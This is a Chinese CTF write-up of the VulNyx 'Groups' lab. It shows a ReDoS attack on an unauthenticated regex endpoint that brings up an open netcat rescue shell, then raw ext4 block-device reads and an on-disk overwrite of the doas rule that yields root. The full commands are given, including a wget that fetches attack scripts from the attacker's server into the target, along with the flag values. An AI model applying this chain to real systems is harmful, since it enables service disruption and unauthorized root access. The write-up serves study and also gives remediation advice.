VulNyx Groups 通关记录|ReDoS 压垮服务与 doas 裸盘提权
靶机链接:Groups
本文记录 VulNyx Groups 靶机完整通关复现过程。突破口并不在常规业务功能中,而在一个可被外部匿名修改的过滤规则:logiscope 日志服务会将未鉴权的规则直接提交给 Python 原生 re 引擎执行。通过构造 (a+)+$ 配合精心设计的近似匹配长串,可触发指数级灾难性回溯(ReDoS),彻底打瘫 2299 端口服务。服务健康检查连续超时后,宿主机守护进程 watchdog 会拉起一个无需认证的 8090 应急控制台并返回 setup 用户的交互式 Shell。在此权限下可直接读取 User Flag;进一步发现 setup 用户隶属于 disk 组,对全盘物理块设备拥有读写权限。借助编写脚本直接解析 ext4 底层结构成功绕过文件系统权限直读 Root Flag,并进一步通过同长度扇区覆写 doas 特权规则提权至 root。
0x01 基本信息
| 名称 | IP / 标识 | 说明 |
|---|---|---|
| Kali Linux | 192.168.1.109 | 攻击机 |
| Groups | 192.168.1.192 (groups.lan) | Alpine Linux v3.24 靶机(内核 6.18.50-0-virt) |
本文记录已在重置后的干净靶机环境中全链复测,涵盖端口扫描、应用测绘、ReDoS 压制、8090 应急控制台捕获、User Flag 读取、Root Flag ext4 裸盘解析直读以及 doas 物理块覆写提权等全流程,完整保留所有执行命令与回显结果。
攻击流程
点击展开
攻击链摘要
| 阶段 | 关键证据 / 操作 | 作用 |
|---|---|---|
| 服务发现 | 22/tcp SSH、2299/tcp HTTP(Werkzeug 3.1.8 / Python 3.14.7) | 锁定暴露攻击面,入口为 2299 端口的 logiscope 服务 |
| Web 测绘 | /health、/config、/event、/events/export、/config/edit | 发现匿名可修改的日志过滤规则接口与隐藏功能 |
| 规则盲测 | 投递 id / ID / xidx,matched 分别返回 True/False/True | 判定当前过滤规则呈现大小写敏感且包含 id 即命中的行为特征 |
| 源码审计 | re.compile(cfg.get("PATTERN")) + rx.search(line) | 确认用户可控正则直接进入匹配引擎,存在 ReDoS 根因 |
| 服务瘫痪 | 规则配置为 (a+)+$,持续并发投递 a×34+b | /health 连续超时(EXIT:28),服务进程彻底阻塞 |
| 应急控制台暴露 | watchdog 连续 2 次健康检查失败 → nc -lk -p 8090 -e rescue.sh | 无需认证获得 setup 用户的交互式 Shell |
| User Flag | 登录 setup 会话后直接读取 /home/setup/user.txt | 取得系统普通用户 Flag |
| Root Flag 裸盘读取 | /dev/sda3 对 disk 组开放读写,ext4 脚本递归解析直读数据块 | 绕过 /root 目录访问权限直接提取 /root/root.txt Flag |
| doas 裸盘提权 | 校验前置条件后同长度覆写 /etc/doas.d/20-wheel.conf 磁盘数据块 | 结合页缓存逐出调用,doas id 免密提权获得 uid=0(root) 最高权限 |
| 特权成果确证 | root 身份读取 /root/root.txt 并列出管理员家目录 | 证实完全取得靶机最高 root 控制权 |
0x02 端口扫描与服务识别
1. 连通性测试
ping -c 2 192.168.1.192
PING 192.168.1.192 (192.168.1.192) 56(84) bytes of data.
64 bytes from 192.168.1.192: icmp_seq=1 ttl=64 time=4.60 ms
64 bytes from 192.168.1.192: icmp_seq=2 ttl=64 time=4.73 ms
--- 192.168.1.192 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 4.604/4.666/4.729/0.062 ms
目标主机在线,与攻击机处于同一局域网网段,网络通信正常。
2. TCP 全端口扫描
nmap -Pn -p- --min-rate 2000 -T4 192.168.1.192 -oN nmap_alltcp.txt
Host is up (0.0035s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
2299/tcp open pc-telecommute
MAC Address: 0C:DD:24:76:71:18 (Intel Corporate)
3. 服务版本与协议识别
nmap -Pn -sV -sC -p 22,2299 192.168.1.192 -oN nmap_detail.txt
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 10.3 (protocol 2.0)
2299/tcp open http Werkzeug httpd 3.1.8 (Python 3.14.7)
|_http-server-header: Werkzeug/3.1.8 Python/3.14.7
|_http-title: logiscope
端口识别小结:
| 端口 | 服务 | 版本 / 详情 | 评估 |
|---|---|---|---|
22/tcp | SSH | OpenSSH 10.3 | 随机生成强密码且具备源 IP 访问频率限制,不作为切入点 |
2299/tcp | HTTP | Werkzeug 3.1.8 (Python 3.14.7),页面标题 logiscope | 核心突破口,运行自定义日志监控服务 |
53/udp | DNS | 本地递归解析器 | 诱饵服务,无本地私有 Zone,groups.lan 查询返回 NXDOMAIN |
对 53 端口的递归解析测试显示,该解析器仅能对外部公共域名(如 google.com)执行普通转发解析;对局域网域名 groups.lan 的查询均返回 NXDOMAIN;AXFR 区域传送请求被直接拒绝,不存在内部私有解析记录。因此判定其为环境干扰项,重点聚焦于 2299 端口。
0x03 Web 测绘与接口分析
1. 首页业务功能梳理
curl -s -i http://192.168.1.192:2299/ | head -n 12
HTTP/1.1 200 OK
Server: Werkzeug/3.1.8 Python/3.14.7
Date: Mon, 14 Sep 2026 23:25:38 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 3312
Connection: close
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>logiscope</title>
目标应用为内部运维工具(logiscope 1.2,节点信息 node-01 / build 4471),前台提供三大主要功能区:
- Latest events:展示日志文件尾部最新内容(默认展示后 8 行);
- Processing rule:提供
POST /config/edit接口,允许修改过滤规则(界面标注“出于安全原因,当前规则不展示”); - Export:提供
GET /events/export接口,按当前规则批量导出日志匹配结果。
2. 接口枚举与功能测试
针对各接口端点进行直接探测:
curl -s http://192.168.1.192:2299/health
{"status": "ok"}
curl -s http://192.168.1.192:2299/config
{"version": "1.0", "pattern_set": true}
curl -s http://192.168.1.192:2299/events/export
{"total_lines": 3, "match_count": 2, "matches": [{"line_no": 1, "text": "id"}, {"line_no": 3, "text": "xidx"}]}
3. 规则行为盲测推断
虽然前台声称当前过滤规则保密(CR-1188),但在向 /event 提交测试字符串时,服务端会返回 matched 布尔值。通过黑盒试错探针观察响应:
import urllib.request, json
BASE = 'http://192.168.1.192:2299'
def ev(s):
req = urllib.request.Request(BASE + '/event', data=s.encode(),
headers={'Content-Type': 'text/plain'})
print(repr(s), json.loads(urllib.request.urlopen(req, timeout=10).read()))
ev('id')
ev('ID')
ev('xidx')
'id' {'matched': True, 'line_no': 4}
'ID' {'matched': False, 'line_no': 5}
'xidx' {'matched': True, 'line_no': 6}
测试结论:测试样本表明,过滤行为对大小写敏感且只要包含 id 子串即判定命中。这与字面量 id 的正则行为高度吻合(黑盒阶段虽无法唯一断言表达式未包含其他语法,但后续源码审计确证配置为 PATTERN=id)。既然过滤规则允许外部通过接口随意重置,一旦服务端将未经校验的复杂正则直接交付引擎执行,即可构造正则表达式拒绝服务(ReDoS)。
0x04 源码与漏洞分析
在后续获取系统权限后查验 /opt/logservice/app.py 源码,其核心脆弱性设计如下:
1. 规则修改未授权访问
@app.route("/config/edit", methods=["POST"])
def edit_config():
pattern = request.form.get("pattern", "")
if not pattern:
return Response(json.dumps({"error": "pattern required"}), status=400, ...)
resp = write_pattern(pattern)
if resp is not None:
return resp
...
POST /config/edit 没有任何鉴权中间件或会话拦截,任何能够访问 2299 端口的外部网络均可直接覆盖过滤规则。
2. 用户受控正则与灾难性回溯
MAX_PATTERN_LEN = 64
...
@app.route("/event", methods=["POST"])
def event():
cfg = load_config()
line = request.get_data(as_text=True).replace("\n", " ")[:1024]
...
try:
rx = re.compile(cfg.get("PATTERN", "."))
except re.error:
return Response(json.dumps({"error": "invalid pattern", "matched": False}), ...)
matched = bool(rx.search(line))
...
@app.route("/events/export")
def export_events():
...
# export runs over the whole file, keep patterns short (CR-1188)
if len(cfg.get("PATTERN", ".")) > MAX_PATTERN_LEN:
return Response(json.dumps({"error": "pattern too long"}), status=400, ...)
- 长度约束
MAX_PATTERN_LEN = 64仅在/events/export导出接口生效,在日志处理核心接口/event中完全缺失; - 经典的 ReDoS 载荷
(a+)+$仅需 6 个字符,即便利于 64 字符限制内也能正常提交; /event路由接收输入后直接调用rx.search(line),未施加任何超时中断、步数限制或复杂度校验。
3. GIL 与单核 CPU 阻塞放大
服务启动参数配置为 app.run(host="0.0.0.0", port=2299, threaded=True)。虽然 Flask/Werkzeug 为多线程模式,但在 CPython 解释器下,正则回溯属于纯 CPU 密集型计算,在执行过程中会持续独占全局解释器锁(GIL);加之靶机虚拟机仅分配单核 CPU,ReDoS 线程将完全吞噬 CPU 算力,导致其他线程(包括处理本地 /health 健康检查的线程)无法获取调度机会而发生连接超时。
对 app.py 全量审计确认:所有端点均为纯文本处理与日志追加逻辑;safe_log_path 函数严格限制日志目标路径必须具备 /var/log/ 前缀,阻断了目录穿越与任意文件覆盖;代码中不存在模板渲染(SSTI)或 Python 反序列化。因此,通过 ReDoS 打瘫服务并诱导底层自愈机制动作是本次验证成功的利用链。
0x05 ReDoS 压制与控制台立足
1. 灾难性回溯利用原理
正则表达式 (a+)+$ 包含双重贪婪量词。当针对形态为 a^n + b 的长字符串(例如 34 个 a 紧随 1 个 b)进行匹配时,引擎在末尾字符匹配失败后,必须暴力回溯穷举所有可能的切分排列方式(复杂度呈指数级 O(2^n),2^34 约为 1.71 × 10^10 次状态尝试)。在彻底失败前,计算资源被持续消耗,单次调用即耗时数十秒。
2. 正则写入与持续并发压制
使用附件中的自动化脚本 redos_keep.py 写入恶意规则,并以多线程持续并发投递触发长串:
python3 redos_keep.py
setting pattern ...
b'{"status": "updated"}'
14:15:11 round 0 fired
14:15:37 round 1 fired
14:16:03 round 2 fired
14:16:29 round 3 fired
提交正则规则时必须进行严格的 URL 编码。若直接通过 curl -d 'pattern=(a+)+$' 发送,表单解析器会将 + 解码为空格,导致实际写入的规则损坏为 (a ) $,压制彻底失效。必须使用 --data-urlencode 'pattern=(a+)+$' 或在 Python 脚本中使用 urllib.parse.urlencode。
3. 确认服务全面瘫痪
在另一终端验证 /health 端口可用性:
curl -s -m 5 http://192.168.1.192:2299/health; echo EXIT:$?
EXIT:28
退出码 28 表示 curl 请求超时,确认 2299 端口已被打瘫,无法响应任何网络请求。
4. 看门狗守护与自愈逻辑
靶机通过定时计划任务以 setup 用户身份每分钟执行 /opt/logservice/watchdog.sh:
STATE=/home/setup/.wd_state
URL=http://127.0.0.1:2299/health
if wget -q -T 10 -O /dev/null "$URL" 2>/dev/null; then
echo 0 > "$STATE"
pkill -f "nc -lk -p 8090" 2>/dev/null
exit 0
fi
FAILS=$(( $(cat "$STATE" 2>/dev/null || echo 0) + 1 ))
echo "$FAILS" > "$STATE"
# two checks in a row down -> open the console (idempotent)
if [ "$FAILS" -ge 2 ]; then
if ! netstat -tln 2>/dev/null | grep -q ":8090 "; then
nohup nc -lk -p 8090 -e /opt/logservice/rescue.sh >/dev/null 2>&1 &
fi
fi
自愈逻辑机制:
- watchdog 每分钟使用
wget -T 10请求一次本地/health; - 若健康检查连续失败 2 次(
FAILS >= 2),触发自愈应急救援服务:nc -lk -p 8090 -e /opt/logservice/rescue.sh; - 一旦后续检测恢复正常,计数器归零并自动
pkill关停 8090。
5. 捕获 setup 用户 Shell
使用 shell8090.py 脚本轮询等待 8090 开放:
python3 shell8090.py --wait
8090 OPEN
执行命令获取当前会话凭据与身份:
python3 shell8090.py 'id' 'whoami'
# id
Authorized personnel only. Session is logged.
uid=1000(setup) gid=1000(setup) groups=6(disk),1000(setup)
----------------------------------------
# whoami
Authorized personnel only. Session is logged.
setup
----------------------------------------
- 串行独占:
nc -lk -p 8090采用串行单连接模式,同一时刻仅能容纳单个 TCP 客户端。若前序连接未断开,后续命令将被直接挂起。本方案采用的shell8090.py工具采用“单命令独立连接、获取输出后即刻断开”策略,避免控制台死锁; - 持续压制:在通关全流程操作期间,切勿停止
redos_keep.py脚本。一旦停止压制,服务恢复后 watchdog 将在下一次心跳周期自动杀死 8090 进程。
0x06 disk 组与裸盘读取
1. 块设备权限分析
枚举当前会话拥有的块设备权限:
python3 shell8090.py 'ls -la /dev/sda*'
brw-rw---- 1 root disk 8, 0 Sep 15 06:23 /dev/sda
brw-rw---- 1 root disk 8, 1 Sep 15 06:23 /dev/sda1
brw-rw---- 1 root disk 8, 2 Sep 15 06:23 /dev/sda2
brw-rw---- 1 root disk 8, 3 Sep 15 06:23 /dev/sda3
setup 用户属于 disk 组,对整块物理硬盘 /dev/sda 与根分区 /dev/sda3 具备完全的读写权限(rw)。Linux 虚拟文件系统 (VFS) 的 DAC 权限位仅约束通过常规文件系统调用的路径,对底层块设备的直接物理访问完全无法生效。
2. User Flag 读取
user.txt 存放在 setup 用户家目录,权限开放,直接通过常规系统命令读取:
python3 shell8090.py 'cat /home/setup/user.txt'
44c5b763d21e9a3ed8cad56977bfd75c
3. ext4 解析与直读 Root Flag
系统管理员家目录 /root 权限为 drwx------ root root(权限位 700),普通用户无法通过文件系统进入。但由于当前用户拥有 /dev/sda3 读权限,可通过编写纯 Python 脚本解析 ext4 磁盘结构并直接定位文件物理数据块。
在攻击机启动临时 HTTP 服务,将修复支持递归 Extent 树的 pathread.py 同步至靶机:
# 攻击机终端执行
python3 -m http.server 18991 --directory /tmp/srv --bind 0.0.0.0 &
在 8090 控制台内拉取脚本工具:
python3 shell8090.py 'mkdir -p /home/setup/ev && cd /home/setup/ev && wget -q http://192.168.1.109:18991/pathread.py -O pathread.py && wget -q http://192.168.1.109:18991/doasd_patch.py -O doasd_patch.py && ls -la'
查看脚本落地清单与权限
total 16
drwxr-sr-x 2 setup setup 4096 Sep 16 13:18 .
drwxr-sr-x 3 setup setup 4096 Sep 16 13:18 ..
-rw-r--r-- 1 setup setup 3961 Sep 16 13:18 doasd_patch.py
-rw-r--r-- 1 setup setup 3052 Sep 16 13:18 pathread.py
pathread.py 遵循 Linux 内核 ext4 结构规范实现物理数据块定位:
- Superblock 解析:从扇区偏移
1024字节读取超级块,获取块大小(Block Size)、每块组 Inode 数(Inodes Per Group)及描述符表位置; - Inode 与目录递归:从根 Inode(2 号)出发解析目录项(
ext4_dir_entry_2),逐级匹配定位目标文件的 Inode; - Extent 树层级解析:
- 检查
ext4_extent_header中的eh_depth; - 若
depth == 0(叶子节点),按struct ext4_extent(<IHHI)提取起始物理块号与块数; - 若
depth > 0(索引节点),按struct ext4_extent_idx(<IIHH)提取指向下一级物理块的指针(leaf_hi << 32) | leaf_lo,递归读取子块解析;
- 检查
- 底层物理直读:通过
open('/dev/sda3', 'rb')依照计算出的块号偏移读取目标内容。
执行 pathread.py 直接从 /dev/sda3 扇区提取 /root/root.txt 内容:
python3 shell8090.py 'python3 /home/setup/ev/pathread.py /root/root.txt 100'
== /root/root.txt ino=654265 ==
1471e4e05a4db95d353cc867fe317314
查看系统基本信息与操作系统发行版本:
python3 shell8090.py 'uname -a' 'cat /etc/os-release'
Linux groups 6.18.50-0-virt #1-Alpine SMP PREEMPT_DYNAMIC 2026-09-08 12:02:24 x86_64 Linux
NAME="Alpine Linux"
ID=alpine
VERSION_ID=3.24.1
PRETTY_NAME="Alpine Linux v3.24"
HOME_URL="https://alpinelinux.org/"
BUG_REPORT_URL="https://gitlab.alpinelinux.org/alpine/aports/-/issues"
0x07 doas 规则覆写与提权
1. doas 提权规则分析
Alpine Linux 默认使用轻量级 doas 替代 sudo。系统在验证提权凭据时会检索 /etc/doas.d/*.conf。使用 pathread.py 读取目标上的提权规则配置:
python3 shell8090.py 'python3 /home/setup/ev/pathread.py /etc/doas.d/20-wheel.conf 200'
== /etc/doas.d/20-wheel.conf ino=261655 ==
permit persist :wheel
当前规则内容为 permit persist :wheel\n(长度严格为 22 字节),仅允许 wheel 特权组成员提升权限,当前用户 setup 无权免密执行。
2. 利用思路与风险评估
在线对底层块设备执行裸写存在由于内核缓存或并发导致的去同步风险,但由于目标配置仅占单扇区,采用同长度数据块原位覆写能够将文件系统元数据(Inode 大小、校验和、目录项指针)的变更降至最低:
| 维度 | 原始配置 | 覆写配置 |
|---|---|---|
| 字节长度 | 22 字节(含换行符 \n) | 22 字节(含换行符 \n) |
| 规则内容 | permit persist :wheel\n | permit nopass setup \n(末尾空格补齐) |
| 元数据影响 | Inode 大小及块分配完全不变 | Inode 大小及块分配完全不变 |
为防止破坏文件系统,覆写脚本 doasd_patch.py 增加了前置检查(验证目标 Inode、比对文件长度、校验当前磁盘旧内容符合预期)与后置检查(写入后立即从物理扇区回读验证)。
3. 磁盘物理覆写执行
运行增强前置校验的 doasd_patch.py:
python3 shell8090.py 'cd /home/setup/ev && python3 doasd_patch.py'
[*] Inode: 261655, Size: 22
[*] Allocated blocks: [1081362]
[*] Current content on disk: b'permit persist :wheel\n'
[*] Overwriting block 1081362 (offset 4429258752) with b'permit nopass setup \n'...
[*] Verified content on disk: b'permit nopass setup \n'
[+] DOASD_PATCHED: Successfully verified same-length overwrite.
4. 页缓存与 posix_fadvise
直接对块设备扇区写入后,物理磁盘上的数据已完成更新。但在 Linux 系统中,如果目标文件曾被常规进程读取过,其数据可能已存在于内核页缓存中。
根据 Linux 手册与 POSIX 规范,posix_fadvise(..., POSIX_FADV_DONTNEED) 仅是向内核提出释放对应文件页面缓存的操作建议,未写回的脏页不会被释放,且该调用并不构成跨平台强制作废缓存的通用保证。
本次实测中,在执行物理块覆写后调用该接口,下一次执行 cat 及 doas 认证时成功重新读取到了磁盘上的新规则。
调用 Python 触发页缓存释放建议:
python3 shell8090.py 'python3 -c "import os; f=os.open(\"/etc/doas.d/20-wheel.conf\", os.O_RDONLY); os.posix_fadvise(f, 0, 0, os.POSIX_FADV_DONTNEED); os.close(f); print(\"cache dropped\")"'
cache dropped
5. 特权切换与权限确证
读取配置文件确认新规则已在 VFS 层生效,并直接执行 doas id:
python3 shell8090.py 'cat /etc/doas.d/20-wheel.conf' 'doas id; echo RC=$?'
permit nopass setup
uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
RC=0
返回 uid=0(root),成功取得 root 特权执行上下文。
以 root 身份验证读取 /root/root.txt 与管理员家目录详细信息:
python3 shell8090.py 'doas cat /root/root.txt' 'doas ls -la /root/'
1471e4e05a4db95d353cc867fe317314
查看 /root 目录权限与文件属性
total 12
drwx------ 2 root root 4096 Sep 11 23:54 .
drwxr-xr-x 21 root root 4096 Sep 10 11:01 ..
-rw------- 1 root root 0 Sep 11 23:31 .ash_history
-rw------- 1 root root 33 Sep 12 10:17 root.txt
至此,通过 doas 提权取得最高特权 uid=0(root),完整获取系统两枚 Flag。
0x08 最终成果
User Flag
- 路径:
/home/setup/user.txt - 权限:
-rw-r--r-- 1 setup setup 33 - 获取方式:
setup用户 Shell 下常规cat读取 - 内容:
44c5b763d21e9a3ed8cad56977bfd75c
Root Flag
- 路径:
/root/root.txt - 权限:
-rw------- 1 root root 33(所属目录/root权限为drwx------700) - 获取方式: ext4 裸盘解析直读提取 /
doas提权后特权读取 - 内容:
1471e4e05a4db95d353cc867fe317314
0x09 漏洞汇总
| # | 漏洞名称 | 严重程度 | 漏洞位置 | 利用方式与核心机理 |
|---|---|---|---|---|
| 1 | 未授权配置修改导致 ReDoS (拒绝服务) | High | /config/edit 与 /event 端点 | 规则编辑接口未配置身份认证;未限制用户提交的正则表达式复杂度,输入 (a+)+$ 并在 /event 触发指数级回溯卡死 Python 单进程服务 |
| 2 | 故障自愈机制引入无认证交互 Shell | Critical | /opt/logservice/watchdog.sh 与 rescue.sh | watchdog 依赖 /health 超时误判故障,在 8090 端口拉起无需任何认证的交互式 Shell (nc -e rescue.sh),直接暴露初始访问入口 |
| 3 | 服务运行账户配置过宽特权组 (disk 组) | Critical | 系统用户 setup 组配置 (groups=6(disk)) | 账户属于 disk 组,对全盘物理块设备 /dev/sda3 具备读写权限,允许直接绕过 Linux 虚拟文件系统 (VFS) 目录与文件访问权限限制 |
| 4 | 块设备裸写破坏系统安全策略完整性 | Critical | /etc/doas.d/20-wheel.conf 与块存储层 | 借助同长度扇区块覆写技术篡改系统特权配置文件,配合 posix_fadvise 释放缓存建议,实现免密以 root 身份执行任意系统命令 |
0x0A 复盘总结与防御建议
1. 核心技术复盘
- “健康检查 + 自动化自愈”成为新型反向攻击面:watchdog 守护脚本以应用可用性(
/healthHTTP 响应)作为判定服务生死的依据,而 ReDoS 漏洞使得应用进程“未崩溃但完全停止响应”。在此场景下,本为救急而设计的故障自愈逻辑反被攻击者利用,将原本仅造成拒绝服务的 ReDoS 放大并转化为高特权的初始访问通道。 disk组等价于 Root 特权:直接读写物理块设备允许绕过内核虚拟文件系统 (VFS) 的一切访问控制策略(如 DAC/POSIX 权限位)。无论是直接提取700目录下的/root/root.txt,还是直接改写/etc/doas.d/20-wheel.conf,只要具备磁盘块设备的读写权限,即可通过底层文件系统解析与原位扇区覆写达成越权访问。- 裸盘写入利用中的内核页缓存 (Page Cache) 机制:在 Linux 系统中,如果目标文件在裸盘覆写前已被读取,其数据会保留在内核页缓存中。此时即便物理磁盘上的数据已被修改,用户态程序通过 VFS 读取时依然可能命中缓存中的旧数据。调用
os.posix_fadvise(fd, 0, 0, os.POSIX_FADV_DONTNEED)是促使内核释放干净缓存页的有效手段。 - 单进程阻塞放大效应与解释器限制:Werkzeug 内置开发服务器虽然配置了
threaded=True,但在单核环境下,CPython 的全局解释器锁(GIL)与计算密集型正则回溯会导致单个请求占满全部算力,阻塞整个事件处理主循环。生产环境必须采用多进程/异步架构,并设置请求级执行超时。
2. 修复方案与安全加固
| 风险维度 | 针对性防御措施 |
|---|---|
| 正则安全与引擎防护 | 1. 禁用用户完全受控的自由正则:若业务必须支持自定义过滤,应限制为严格的白名单关键字或安全子集(如精确匹配、前缀/后缀匹配); 2. 改用具备线性时间保证的无回溯正则引擎(如 Google re2);3. 在所有调用端点统一执行长度、复杂度与严格执行超时控制( MAX_PATTERN_LEN 必须全局生效,而非仅局限于个别导出接口)。 |
| 管理接口认证与授权 | 1. 对 /config/edit 等配置修改接口增加强身份认证与访问控制列表(ACL);2. 针对配置变更行为记录完整的审计日志(操作人、时间、变更前后的规则指纹)。 |
| 应急运维自愈机制加固 | 1. 应急救援服务严禁采用无认证设计,必须强制绑定强口令或 SSH 公钥认证; 2. 救援端口严禁监听全网地址 ( 0.0.0.0),应严格限制在本地回环 (127.0.0.1) 或专用带外管理网段;3. 健康检查应增加进程状态探测,避免因单请求阻塞误判导致服务频繁进入应急状态。 |
| Linux 最小特权模型实施 | 1. 严格审查并收紧服务运行账户所属组,严禁将 Web 或普通维护账户加入 disk、docker 等等价 root 的高危特权组;2. 块设备 /dev/sd* 权限应收缩为 root:root 600,或通过 SELinux / AppArmor 等强制访问控制 (MAC) 策略阻止非特权上下文直接访问底层块设备。 |
| 关键配置完整性监控 | 部署文件完整性监控系统(如 AIDE、Tripwire 或 Wazuh),对 /etc/doas.d、/etc/sudoers.d、/etc/passwd 等核心提权配置文件实施底层扇区与哈希监控,防范物理扇区篡改攻击。 |
附录 A:敏感文件与关键配置清单
| 文件 / 路径 | 权限 / 属主 | 作用与说明 |
|---|---|---|
/opt/logservice/app.py | svclog:svclog 644 | Flask / Werkzeug 日志监控核心服务,包含未鉴权规则修改与正则匹配逻辑 |
/opt/logservice/config.ini | svclog:svclog 644 | 存储运行时过滤规则配置项 (PATTERN 等) |
/opt/logservice/watchdog.sh | svclog:svclog 755 | 定时守护脚本,健康检查超时时自动拉起 8090 应急救援控制台 |
/opt/logservice/rescue.sh | svclog:svclog 755 | 应急控制台执行体,直接执行 exec /bin/sh 无认证提供 setup 权限 Shell |
/etc/crontabs/setup | setup:setup 600 | setup 用户计划任务,每分钟执行一次 watchdog.sh |
/dev/sda3 | root:disk 660 | 根分区物理块设备,允许 disk 组成员直接读取并覆写任意扇区 |
/etc/doas.d/20-wheel.conf | root:root 644 | Alpine Linux 特权提权规则文件,被覆写以授予 setup 免密 root 权限 |
/home/setup/user.txt | setup:setup 644 | 普通用户 User Flag |
/root | root:root 700 | 管理员家目录,阻断普通用户通过文件系统访问 |
/root/root.txt | root:root 600 | 系统管理员 Root Flag |
附录 B:攻击脚本附件
| 附件文件 | 作用与功能说明 | 下载链接 |
|---|---|---|
redos_keep.py | 设置过滤规则为 (a+)+$ 并持续多线程投递触发串,使单核服务阻塞并触发 watchdog 救援 | 下载 |
shell8090.py | 8090 应急控制台交互客户端(支持轮询等待与单命令单连接短连接,避免串行控制台连接冲突) | 下载 |
pathread.py | ext4 裸盘解析直读脚本,完整支持 Extent 树递归解析(Leaf/Index 节点)直接读取物理数据块 | 下载 |
doasd_patch.py | 具备前置校验与回读验证的同长度覆写脚本,将 doas 规则修改为 permit nopass setup \n 实现提权 | 下载 |
- 运行依赖:上述所有脚本均基于 Python 3 标准库编写,无需额外安装第三方依赖包。
- 投放方式:在实战复现过程中,可在攻击机快速启动临时 HTTP 服务(
python3 -m http.server 18991 --directory /tmp/srv --bind 0.0.0.0),在 8090 控制台内通过wget快速同步至靶机/home/setup/ev/目录执行。